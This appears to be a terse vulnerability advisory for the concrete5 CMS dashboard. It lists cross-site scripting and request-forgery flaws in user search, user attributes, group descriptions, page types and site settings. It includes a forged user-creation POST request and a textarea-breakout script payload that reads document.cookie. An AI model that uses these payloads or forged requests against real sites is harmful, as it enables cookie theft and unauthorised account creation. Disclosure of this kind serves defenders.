XSS
-------------------------------------------------------------------------------------------
[USER].getconcrete5.com/index.php/dashboard/users?task=simple_search&uVal=[XSS]
-------------------------------------------------------------------------------------------
XSRF
-------------------------------------------------------------------------------------------
POST /index.php/dashboard/users?task=create HTTP/1.1
Cookie: CONCRETE5=f43e97dd4e3593b340f620c2bfd87c26; ccmUserHash=1%3A8f2eaf650ba8cb3ca64aedf63788c167
Content-Disposition: form-data; name="_disableLogin"
Content-Disposition: form-data; name="uName"
Content-Disposition: form-data; name="uPassword"
Content-Disposition: form-data; name="uEmail"
Content-Disposition: form-data; name="uAvatar"; filename=""
Content-Disposition: form-data; name="create"
-------------------------------------------------------------------------------------------
XSRF
-------------------------------------------------------------------------------------------
Update User Attribute ---> TYPE* --->HTML Text(Not Interactive)
Values * [Not Check Evil Code]
Values field is a HTML textarea section if we are but </textarea> whit XSS code that will be run
[USER].getconcrete5.com/index.php/dashboard/users/attributes?ukID=3&task=edit
XSS CODE: </textarea>'"><script>alert(document.cookie)</script>
Result: <textarea id="ukValues" name="ukValues" style="width: 100%; height: 120px">'">alert(document.cookie)</textarea>'"><script>alert(document.cookie)</script></textarea>
-------------------------------------------------------------------------------------------
XSRF
-------------------------------------------------------------------------------------------
index.php/dashboard/groups?gID=4&task=edit&gName=a&gDescription=[XSRF]&update=1
<textarea name="gDescription" style="width: 100%; height: 120px">[XSRF]</textarea></td>
-------------------------------------------------------------------------------------------
XSRF
-------------------------------------------------------------------------------------------
Page Type-->Edit Page Type
Name * and Handle * parametre not check evil xss code
Attacker may use whit XSRF
-------------------------------------------------------------------------------------------
Sitewide Settings-->Site Name parametre had a MSIE Arbitrary Script Insertion, not check evil HTML Meta code